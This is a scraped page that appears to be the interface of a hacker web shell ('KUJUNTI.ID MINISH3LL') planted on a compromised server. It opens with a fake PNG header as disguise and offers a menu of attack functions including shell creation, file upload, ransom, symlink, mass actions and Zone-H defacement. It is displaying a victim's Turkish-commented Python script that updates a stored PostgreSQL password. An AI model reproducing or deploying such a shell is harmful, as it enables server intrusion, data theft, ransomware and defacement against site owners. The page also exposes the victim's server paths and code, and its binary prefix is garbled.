\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv6/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv6/update_db_password.py


import os
import sys
from app import app, db
from models import DatabaseConnection

def update_db_password():
    """PostgreSQL veritabanı şifresini çevre değişkeninden alıp günceller"""
    try:
        with app.app_context():
            # Şifreyi çevre değişkeninden al
            password = os.environ.get('POSTGRESQL_PASSWORD')
            if not password:
                print("HATA: POSTGRESQL_PASSWORD çevre değişkeni bulunamadı!")
                return False
                
            # Veritabanı bağlantısını güncelle
            db_conn = db.session.query(DatabaseConnection).filter_by(id=1).first()
            if not db_conn:
                print("HATA: Veritabanında kayıtlı bağlantı bulunamadı!")
                return False
                
            print(f"Bağlantı bilgisi bulundu: {db_conn.name}, {db_conn.host}:{db_conn.port}")
            
            # Şifreyi güncelle
            db_conn.password = password
            db.session.commit()
            
            print("Şifre başarıyla güncellendi!")
            return True
    except Exception as e:
        print(f"Hata oluştu: {str(e)}")
        return False

if __name__ == "__main__":
    update_db_password()

© KUJUNTI.ID